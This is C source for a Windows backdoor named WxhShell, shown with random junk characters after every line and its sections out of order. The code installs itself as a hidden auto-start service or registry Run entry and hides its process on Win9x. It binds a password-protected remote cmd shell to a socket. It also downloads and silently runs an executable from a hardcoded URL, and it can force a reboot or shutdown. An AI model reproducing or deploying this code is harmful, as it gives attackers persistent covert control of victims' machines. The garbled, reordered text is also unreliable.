    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-.q<8  
    else { {9P<G]Z  
    closesocket(wsh); 1tg   
    ExitThread(0); 2Q<_l*kk(  
    } Ws(BouJ  
    break; mD|<qsY)  
    } >O~xu^N?  
  // 获取shell &(wik#S  
  case 's': { |/rBR!kPq  
    CmdShell(wsh); O:D`6U+0  
    closesocket(wsh); )Q9J,  
    ExitThread(0); $KtMv +m"  
    break; F[ 9IHT6{  
  } FUMAvVQ  
  // 退出 6"gncB.  
  case 'x': { b}[{'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .i`+}@iA  
    CloseIt(wsh); h j9 b Mj  
    break; R(x% <I  
    } en#W<"_"  
  // 离开 bx`(d@  
  case 'q': { 1=#`&f5f&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tjYe82  
    closesocket(wsh); g[!sGa &  
    WSACleanup(); 'O2{0  
    exit(1); LgB}!OLQ  
    break; @-Gf+*GZys  
        } 8CMI\yk  
  } NW^}u~-f  
  } <o p !dS  
l$PO!JRD  
  // 提示信息 |nMbf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4|x5-m+T  
} ~d>O.*Q)  
  } Y$Fbi2A4  
x4fLe5xv  
  return; ]+,Z()  
} :90DS_4  
?c(f6p?%  
// shell模块句柄 gTiDV{ Ip  
int CmdShell(SOCKET sock) `s@1'IG;R_  
{ vzs6YsA  
STARTUPINFO si; Jtc?p{  
ZeroMemory(&si,sizeof(si)); Bxz{rR0XV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cLJ|VD7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } %rF}>$A  
PROCESS_INFORMATION ProcessInfo; :B)w0tVw  
char cmdline[]="cmd"; -.:1nI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7;c{lQOj}  
  return 0; RrGS$<  
} k|a{ |2p  
mrk Q20D  
// 自身启动模式 /|BzpIfpN  
int StartFromService(void) _d)w, ;m#  
{ aU5t|S6  
typedef struct Mm|HA@W^  
{ vy6NH5Q  
  DWORD ExitStatus; '$l*FWOEal  
  DWORD PebBaseAddress; <S TwylL  
  DWORD AffinityMask; Yb414K  
  DWORD BasePriority; TY~0UU$  
  ULONG UniqueProcessId; A#LK2II^  
  ULONG InheritedFromUniqueProcessId; o y}(  
}   PROCESS_BASIC_INFORMATION; G2rxr  
r'w5i1C+  
PROCNTQSIP NtQueryInformationProcess; :cIE8<\%  
O:pQf/Xn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5|Vb)QBv%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K)@]vw/\  
Cg8{NNeD  
  HANDLE             hProcess; Iu%/~FgPj{  
  PROCESS_BASIC_INFORMATION pbi; T\. 8og  
/vSFQ}W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u;1#eP\;  
  if(NULL == hInst ) return 0; 024*IoVZ  
g`3g#h$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V ;"?='vVe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >/ HC{.k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 29x "E$e  
DpI_`TF#$Z  
  if (!NtQueryInformationProcess) return 0; e7pN9tXGf  
 ,Ad\!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <f8@Qij  
  if(!hProcess) return 0; 3J%jD  
AY,6Ddw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]-L/Of6F)|  
5j,)}AYO  
  CloseHandle(hProcess); plb'EP>e  
SS(jjpe&,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wp.'M?6`L  
if(hProcess==NULL) return 0; ,&z_ 2m  
69O?sIk  
HMODULE hMod; |'Ve75 W6u  
char procName[255]; i|.!*/qF  
unsigned long cbNeeded; :mL\KQ  
izmL8U ?t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ls 'QfJm  
|I85]'K9a  
  CloseHandle(hProcess); 2Xe2 %{  
PN+,M50;1  
if(strstr(procName,"services")) return 1; // 以服务启动 Eu1s  
nb(#;3DQ  
  return 0; // 注册表启动 D-~HJ  
} 9FH=Jp  
''v_8sv  
// 主模块 BU]9eF!>h  
int StartWxhshell(LPSTR lpCmdLine) n3~xiQ'  
{ vE6/B"b  
  SOCKET wsl; 4'G<qJoc  
BOOL val=TRUE; B6OggJ9Iq  
  int port=0; "AUY+ LN  
  struct sockaddr_in door; 2$\Du9+  
m' z<d  
  if(wscfg.ws_autoins) Install(); A-c3B+  
Z~muQ c?  
port=atoi(lpCmdLine); 4)Z78H%>  
,i,f1XJ|  
if(port<=0) port=wscfg.ws_port; nVs0$?}  
-`f JhQ|  
  WSADATA data; b3y@!_'c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V"T;3@N/4  
"1h|1'S50?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VGq2ITg9eE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wU?2aXY  
  door.sin_family = AF_INET; B5J=q("P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \T<?=A  
  door.sin_port = htons(port); rf^1%Zo:  
]>*Z 1g;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4*F+-fu  
closesocket(wsl); F0Rk[GM  
return 1; QJ>+!p*  
} [A[vR7&S  
9K FWa0G  
  if(listen(wsl,2) == INVALID_SOCKET) { YX@[z 5*  
closesocket(wsl); a;([L8^7$l  
return 1; Y 1LE.{  
} M)Ogb '@#  
  Wxhshell(wsl); Tx],- U  
  WSACleanup(); f u\M2"e  
#}e)*(  
return 0; Gi Zy C  
gQ,PG  
} WAkKbqJV  
Sf lHSMFw  
// 以NT服务方式启动 '0/t|V<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k((_~<$2K  
{ b s:E`Q  
DWORD   status = 0; tb{l(up/a  
  DWORD   specificError = 0xfffffff; 4 K)P Yk  
?w /tq!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0j_`7<,:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VT;$:>! +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b@z/6y!  
  serviceStatus.dwWin32ExitCode     = 0; lN{-}f;TN  
  serviceStatus.dwServiceSpecificExitCode = 0; #RZW)Br  
  serviceStatus.dwCheckPoint       = 0; ? vk;b!  
  serviceStatus.dwWaitHint       = 0; `?91Cw=`  
 h ej  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xxp<qIEm  
  if (hServiceStatusHandle==0) return; F.^1|+96  
tE=P9 \4  
status = GetLastError(); 97'*Xq  
  if (status!=NO_ERROR) |V%Qp5 XJ  
{ (A/V(.!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^hRos  
    serviceStatus.dwCheckPoint       = 0; MU%C_d%.  
    serviceStatus.dwWaitHint       = 0; N1+%[Uh9)  
    serviceStatus.dwWin32ExitCode     = status; [bH6>{3u  
    serviceStatus.dwServiceSpecificExitCode = specificError; "4oY F:h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@JmG`Sy  
    return; |*i0h`a  
  } kImS'i{A  
k0!b@ c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5e6]v2 k  
  serviceStatus.dwCheckPoint       = 0; @/E5$mX`  
  serviceStatus.dwWaitHint       = 0; WFsa8qv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ql3hq.E  
} 8u!!a^F  
!T#~.QP4  
// 处理NT服务事件,比如:启动、停止 wh[XJ_xY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2u/~#Rt&*  
{ : H0+}=  
switch(fdwControl) [8(e`6xePb  
{  -*M/,O  
case SERVICE_CONTROL_STOP: _U|s!60'  
  serviceStatus.dwWin32ExitCode = 0; ?8)_,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gj0gs  
  serviceStatus.dwCheckPoint   = 0; g3Xq@RAJc  
  serviceStatus.dwWaitHint     = 0; jDqe)uVvtV  
  { H YZ94[Ti  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6L[eWuTn  
  } 0 x4p!5  
  return; )apqL{u:=  
case SERVICE_CONTROL_PAUSE: R%"wf   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ma2sQW\  
  break; Y?{L:4cRX  
case SERVICE_CONTROL_CONTINUE: OjCTTz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dny5X.8  
  break; {AoH  
case SERVICE_CONTROL_INTERROGATE: _%?}e|epy  
  break; C1:efa<wV  
}; 4nN%5c~=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MRMsw NQ  
} "M3R}<Vt  
Jlj=FA`  
// 标准应用程序主函数 G&I\Za;   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }S\\"SBC  
{ Gg]>S#^3  
{0 IEizQ|i  
// 获取操作系统版本 6FFQoE|n  
OsIsNt=GetOsVer(); C (L1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SzR7:U  
Ghs{B8  
  // 从命令行安装 lfba   
  if(strpbrk(lpCmdLine,"iI")) Install(); j7IX"O%f\  
$!h21  
  // 下载执行文件 dMK| l   
if(wscfg.ws_downexe) { -aK_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t :B~P,r  
  WinExec(wscfg.ws_filenam,SW_HIDE); a/A$ MXZ_  
} +&6R(7XC  
)kfj+/  
if(!OsIsNt) { ;7Cb!v1  
// 如果时win9x,隐藏进程并且设置为注册表启动 `md)|PSU  
HideProc(); +Wrj%}+  
StartWxhshell(lpCmdLine); H`odQkZ!  
} "xe %  IS  
else 00X~/'!  
  if(StartFromService()) r%\(5H f  
  // 以服务方式启动 dtD)VNkBZ  
  StartServiceCtrlDispatcher(DispatchTable); FW~%xUSE5  
else z UN&L7D  
  // 普通方式启动 BQmHYar  
  StartWxhshell(lpCmdLine); dF$a52LS  
b9b384Q1O  
return 0; wQ-pIi{G  
} =aR'S\<  
X%w`:c&  
f"My;K$l;  
//T1e7)  
=========================================== ++=t|ZS U  
@AET.qGC  
ElLDSo@WvR  
U\dq Mp#Wy  
W?is8r:  
oRH ]67(Z  
" Awy-kou[C  
Jse;@K5y  
#include <stdio.h> G>"=Af(t?Y  
#include <string.h> ^~\cx75D  
#include <windows.h> H?A&P4nZ  
#include <winsock2.h> [HNWM/ff7+  
#include <winsvc.h> kYMKVR  
#include <urlmon.h> l`"i'P   
MtWzGE=?  
#pragma comment (lib, "Ws2_32.lib") g+'=#NS}  
#pragma comment (lib, "urlmon.lib") Ne>yFl"u  
=SMI,p&  
#define MAX_USER   100 // 最大客户端连接数 kC:GEY<N:Q  
#define BUF_SOCK   200 // sock buffer :K J#_y\rt  
#define KEY_BUFF   255 // 输入 buffer ,n )f=q*%  
Am>^{qh9  
#define REBOOT     0   // 重启 MC=pN(l  
#define SHUTDOWN   1   // 关机 _OR@S%$  
Z|l/6L8  
#define DEF_PORT   5000 // 监听端口 , gYbi-E  
).IB{+  
#define REG_LEN     16   // 注册表键长度 woI.1e5  
#define SVC_LEN     80   // NT服务名长度 qRk<1.  
FZdZGK  
// 从dll定义API D=ZH? d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b{X,0a{*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);   %4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 04npY+1 8%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6d%V=1^F  
_o,Mji|  
// wxhshell配置信息 G%Dhj)2}  
struct WSCFG { Lt 8J^}kwl  
  int ws_port;         // 监听端口 CSu}_$wC#  
  char ws_passstr[REG_LEN]; // 口令 Z@i"/~B|4\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?7?hDw_Nk  
  char ws_regname[REG_LEN]; // 注册表键名 yv),>4_6  
  char ws_svcname[REG_LEN]; // 服务名 RH^!7W*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XXwe/>J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ph5rS<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eW"L")  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yAyq-G"sO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ON()2@Y4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !t.*xT4W  
|:[ [w&R  
}; o$4xinK  
* |dz.Tr  
// default Wxhshell configuration  MjjN  
struct WSCFG wscfg={DEF_PORT, 3_5]0:?]-  
    "xuhuanlingzhe", &-e@Et`Pg  
    1, }4dbS ;C<  
    "Wxhshell", k/lU]~PE  
    "Wxhshell", agI"Kh]j?  
            "WxhShell Service", !Au@\/}  
    "Wrsky Windows CmdShell Service", s+omCr|H;A  
    "Please Input Your Password: ", 8*$HS.Db'  
  1, m,3H]  
  "http://www.wrsky.com/wxhshell.exe", wR(>' ?  
  "Wxhshell.exe" k1h>8z.Tg  
    }; 5w^6bw){  
KFuP gp  
// 消息定义模块 7]J7'!Iz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dm(Xy'*iQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3<"!h1x5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |qAU\m"Pc  
char *msg_ws_ext="\n\rExit."; l>t0 H($  
char *msg_ws_end="\n\rQuit."; \OlB (%E7  
char *msg_ws_boot="\n\rReboot..."; y' r I1eF  
char *msg_ws_poff="\n\rShutdown..."; X?B\+dq  
char *msg_ws_down="\n\rSave to "; pPD}>q  
cxig<W  
char *msg_ws_err="\n\rErr!"; 2m8|0E|@  
char *msg_ws_ok="\n\rOK!"; eE0'3?q(  
fvNj5Vq:  
char ExeFile[MAX_PATH]; W{l{O1,  
int nUser = 0; 7] }2`^9  
HANDLE handles[MAX_USER]; c|2+J :}p  
int OsIsNt; f [DZ  
UNO KK_  
SERVICE_STATUS       serviceStatus; @?/>$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cAQ_/>  
.[Nr2w:>  
// 函数声明 G)8H9EV  
int Install(void); t}X+P`Ovq  
int Uninstall(void); `D,mZj/b  
int DownloadFile(char *sURL, SOCKET wsh); _7bQR7s  
int Boot(int flag); C9VtRq  
void HideProc(void); 8iwH^+h~  
int GetOsVer(void); 9Z^\b)x  
int Wxhshell(SOCKET wsl); 2,^ U8/  
void TalkWithClient(void *cs); }7+`[g  
int CmdShell(SOCKET sock); (/^dyG|X'  
int StartFromService(void); <KEVA?0>  
int StartWxhshell(LPSTR lpCmdLine); MD+e!A#o  
C lWxL#L6~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u 2%E(pr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? \p,s-CR:  
3DX@ggE2  
// 数据结构和表定义 @;b @O _  
SERVICE_TABLE_ENTRY DispatchTable[] = /DGEI&}&:u  
{ XbYST%| .  
{wscfg.ws_svcname, NTServiceMain}, 5STk"  
{NULL, NULL} M=t;t0  
}; j9g0k<eg  
"x4}FQ  
// 自我安装 o56UlN  
int Install(void) -Crm#Ib~  
{ r=Od%  
  char svExeFile[MAX_PATH]; EHF dQ0gIa  
  HKEY key; lDVw2J'p  
  strcpy(svExeFile,ExeFile); m;oCi }fL  
MnB Hm!]&  
// 如果是win9x系统,修改注册表设为自启动 xO 6$:o-  
if(!OsIsNt) { rGgP9 (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T;1aL4w"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3\Tqs  
  RegCloseKey(key); `+]e}*7$f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /kc @ELl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Rl/F1G o}  
  RegCloseKey(key); :P?zy|aBi  
  return 0; y*vg9`$k  
    } ~aL&,0  
  } wfq}NK;  
} P,*yuF|bk  
else { ^2-+MWW.  
dCO7"/IHW  
// 如果是NT以上系统,安装为系统服务 Nf1&UgX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xW+ XN`77  
if (schSCManager!=0) 7f]O /  
{ AVi,+n  
  SC_HANDLE schService = CreateService D22jWm2  
  ( 39oI &D>8  
  schSCManager, flS_rY5  
  wscfg.ws_svcname, a'|/=$  
  wscfg.ws_svcdisp, ?, oE_H  
  SERVICE_ALL_ACCESS, @tVl8]y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PD`EtkUnv  
  SERVICE_AUTO_START, :IRQouTf:,  
  SERVICE_ERROR_NORMAL, <ql:n  
  svExeFile, k!ac_}&NNv  
  NULL, RWdx) qj{  
  NULL, P%y$e0  
  NULL, JK^pb0ih  
  NULL, =g<Yi2  
  NULL Bs';!,=  
  ); Dfw%Bu  
  if (schService!=0) uE^5o\To  
  { o0#zk  
  CloseServiceHandle(schService); TykY>cl   
  CloseServiceHandle(schSCManager); oG' 'my#3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8c'5P  
  strcat(svExeFile,wscfg.ws_svcname); <59G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #bCzWg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^9`~-w  
  RegCloseKey(key); ?X3uPj9if  
  return 0; g]m}@b6(h  
    } *ez7Q   
  } ggHz-oNY  
  CloseServiceHandle(schSCManager); 9}#9i^%}  
} of0 hJR  
} O+PRP"$g"  
MUR Hv3  
return 1; laA3v3*  
} ^=,N] j  
=`MMB|{6  
// 自我卸载 @h)X3X  
int Uninstall(void) %)PQomn?  
{ KK41I 8Mw  
  HKEY key; ],w+4;+  
w_9[y  
if(!OsIsNt) { Ahrtl6@AS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -< }#ImTN  
  RegDeleteValue(key,wscfg.ws_regname); M =6  
  RegCloseKey(key); Vo(V<2lw}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eN-lz_..7  
  RegDeleteValue(key,wscfg.ws_regname);  !AFii:#  
  RegCloseKey(key); $S2kc$'F  
  return 0; .MI 5?]_  
  } (qg~l@rf  
} CV7%ud]E  
} 2hF j+Ay  
else { ;%Rp=&J  
xT;j_'9U;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Su/}OS\R  
if (schSCManager!=0) )ioIn`g^-  
{ ~Pi CA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (5&l<u"K~  
  if (schService!=0) +8|r_z\A5a  
  { H'wh0K(  
  if(DeleteService(schService)!=0) { VIg=| Oe),  
  CloseServiceHandle(schService); SCKpW#2dP{  
  CloseServiceHandle(schSCManager); m`H9^w%W  
  return 0; jW0aIS2O  
  } r!HB""w  
  CloseServiceHandle(schService); VO+3@d:  
  } 2~q(?wY  
  CloseServiceHandle(schSCManager); =%R|@lz_x  
} (h>+ivf|  
} WDQw)EUl&  
v m)'C C  
return 1; q<!Kt I4  
} ;+4X<)y*>  
s&~.";b  
// 从指定url下载文件 z{dn   
int DownloadFile(char *sURL, SOCKET wsh) AAld2"r  
{ W5a>6u=g,  
  HRESULT hr; 8WRxM%gsH  
char seps[]= "/"; .47tj`L   
char *token; }Q%fY&#(bp  
char *file; *r]Mn~3  
char myURL[MAX_PATH]; G?QU|<mj<  
char myFILE[MAX_PATH]; z]F4Z'(e.  
V0'_PR@;  
strcpy(myURL,sURL); {;j@-=pV  
  token=strtok(myURL,seps); {qkd63 X  
  while(token!=NULL) _HkB+D0v  
  { C*fSPdg?  
    file=token; x8wal[6  
  token=strtok(NULL,seps); UON W3}-  
  } bLpGrGJs  
yyVv@  
GetCurrentDirectory(MAX_PATH,myFILE); t(F] -[  
strcat(myFILE, "\\"); #3o]Qo[Sc  
strcat(myFILE, file); 8ncgTCH:  
  send(wsh,myFILE,strlen(myFILE),0); Nd.Tda!Kg  
send(wsh,"...",3,0);  %Jc>joU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U?:<clh  
  if(hr==S_OK) Mb0cdK?hA  
return 0; "3Z<V8xB  
else ,0R2k `m!  
return 1; 4$<-3IP,  
8FY/57.W  
} %aeQL;# V  
h f1f  
// 系统电源模块 KU}HVM{  
int Boot(int flag) :,^pLAt  
{  ^"d!(npw  
  HANDLE hToken; Aa;s.:?  
  TOKEN_PRIVILEGES tkp; g)Byd\DS  
jW-j+ WGSM  
  if(OsIsNt) { \Ow-o0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .h8%zB#|i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L('G1J}  
    tkp.PrivilegeCount = 1; "wPFQXU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ' 1aU0<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =Xc[EUi<;g  
if(flag==REBOOT) { ~4~-^ t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {A2SG#}  
  return 0; 7gV"pa  
} YJ`[$0mam  
else { bTn7$EG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pe !eID8  
  return 0; RJ_ratKN*g  
} 'sL>U$(  
  } ZN2g(  
  else { Odr@9MJ  
if(flag==REBOOT) { A2b C5lA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Jf)A/_  
  return 0; %&yD^ q_  
} n NI V(  
else { ]8q5k5~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pX]*&[X?  
  return 0; ?zKVXK7}0  
} TIV1?S  
} pQxaT$  
<)zh2UI  
return 1; WG;1[o&  
} S #X$QD  
k})Ag7c  
// win9x进程隐藏模块 -0Q:0wU  
void HideProc(void) 2k[i7Rl \c  
{ <v"C`cga  
!+.|T9P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qphN   
  if ( hKernel != NULL ) }}?L'Vby  
  { 1{%EQhNd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _VR Sdr5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I C9:&C[  
    FreeLibrary(hKernel); | zj$p~  
  } ' %OQd?MhL  
QzIK580%t  
return; 7g5sJj  
} kF~}htv.=  
uG3t%CmN  
// 获取操作系统版本 @.-g  
int GetOsVer(void) TeQWrm s  
{ (@O F Wc"p  
  OSVERSIONINFO winfo; Wn24eld"x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IBU(Hm1,  
  GetVersionEx(&winfo); :gb7Py'C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mno4z/4{A  
  return 1; >E?626*  
  else au5 74tj  
  return 0; A75IG4]  
} !:`QX\Ux  
lcvWx%/o@  
// 客户端句柄模块 _C"W;n'  
int Wxhshell(SOCKET wsl) V_!hrKkL  
{ c3!d4mC:  
  SOCKET wsh; Hbx=vLQ6  
  struct sockaddr_in client; a`GoNh,  
  DWORD myID; TeG5|`t],  
/l0\SVwa>  
  while(nUser<MAX_USER) .BlGV2@^#  
{ c^UG}:Y  
  int nSize=sizeof(client); rayC1#f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \x)T_]Gcm  
  if(wsh==INVALID_SOCKET) return 1; z)q9O_g9  
lW?}jzuo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UL(R/yc  
if(handles[nUser]==0) <"AP&J'H  
  closesocket(wsh); ^ {-J Y  
else zfO0+fMH  
  nUser++; >I8R[@  
  } r.[!n)*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #G|iEC0C  
 hPx=3L$  
  return 0; Wze\z  
} :^1 Xfc"  
{G/4#r 2>  
// 关闭 socket 6N:fq  
void CloseIt(SOCKET wsh) %-i2MK'A  
{ lycY1lK  
closesocket(wsh); $=TFTSO  
nUser--; <:2El9l!  
ExitThread(0); L/"XIMI*Xg  
} y!."FoQ  
&2Q4{i  
// 客户端请求句柄 7z)Hq./3@  
void TalkWithClient(void *cs) pqBd#  
{ g,7`emOX  
!BP/#  
  SOCKET wsh=(SOCKET)cs; ^|Of  
  char pwd[SVC_LEN]; x;99[C!$  
  char cmd[KEY_BUFF]; ^hq`dr|R=  
char chr[1]; J p!Q2}  
int i,j; 8{8J(~  
x}i:nLhL  
  while (nUser < MAX_USER) { D1;H,  
EQ-r  
if(wscfg.ws_passstr) { ^9%G7J:vGO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9sFZs]uM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /w^}(IJ4  
  //ZeroMemory(pwd,KEY_BUFF); :,Q\!s!  
      i=0; [DC8X P5 <  
  while(i<SVC_LEN) { A/|To!R  
Vi?[yu<F  
  // 设置超时 uwXquOw  
  fd_set FdRead; PF2PMEBx!  
  struct timeval TimeOut; X&8&NkH  
  FD_ZERO(&FdRead); D kl4 ^}  
  FD_SET(wsh,&FdRead); HJo&snT3  
  TimeOut.tv_sec=8; mFw`LvH?*  
  TimeOut.tv_usec=0; NGOc:>}k>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]wMd!.lm-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J70#pF  
{~_X-g5|]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Xb 6wQ"  
  pwd=chr[0]; WUm8 3"  
  if(chr[0]==0xd || chr[0]==0xa) { OS;qb:;  
  pwd=0; ]B/Gz  
  break; HQw98/-_W  
  } NGcd  
  i++; <u]M):b3  
    } 5R\{&  
u9ObFm$7  
  // 如果是非法用户,关闭 socket @E %:ALJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D1rXTI$$  
} T2<?4^xN  
AE?MEag  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yj3j?.JJk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %N$,1=0*  
VW:WB.K$  
while(1) { @M-i$ q[4  
&*}`uJt  
  ZeroMemory(cmd,KEY_BUFF); 5Iinen3>  
6<X.]"u+E~  
      // 自动支持客户端 telnet标准   QVLv}w`O  
  j=0; 1BK!<}yI{  
  while(j<KEY_BUFF) { (k/[/`3ST  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tIn dve  
  cmd[j]=chr[0]; FcVQ_6  
  if(chr[0]==0xa || chr[0]==0xd) { b* k=  
  cmd[j]=0; R+{QZ'K.qg  
  break; w=Ai?u  
  } +yYxHIOZ(  
  j++; ;w>Dqem  
    } ere h!  
{9?++G"\  
  // 下载文件 .TZ0F xW  
  if(strstr(cmd,"http://")) { 7QV@lR<C2R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zwJB.4@  
  if(DownloadFile(cmd,wsh)) DEJ0<pnQr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +g %h,@  
  else v~E\u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^u2unZ9BK!  
  } P"*#mH[W|  
  else { 6=N!()s  
9;2{=,  
    switch(cmd[0]) { +vf~s^  
  @S?`!=M  
  // 帮助 JG^fu*K  
  case '?': { {7d(B1[1  
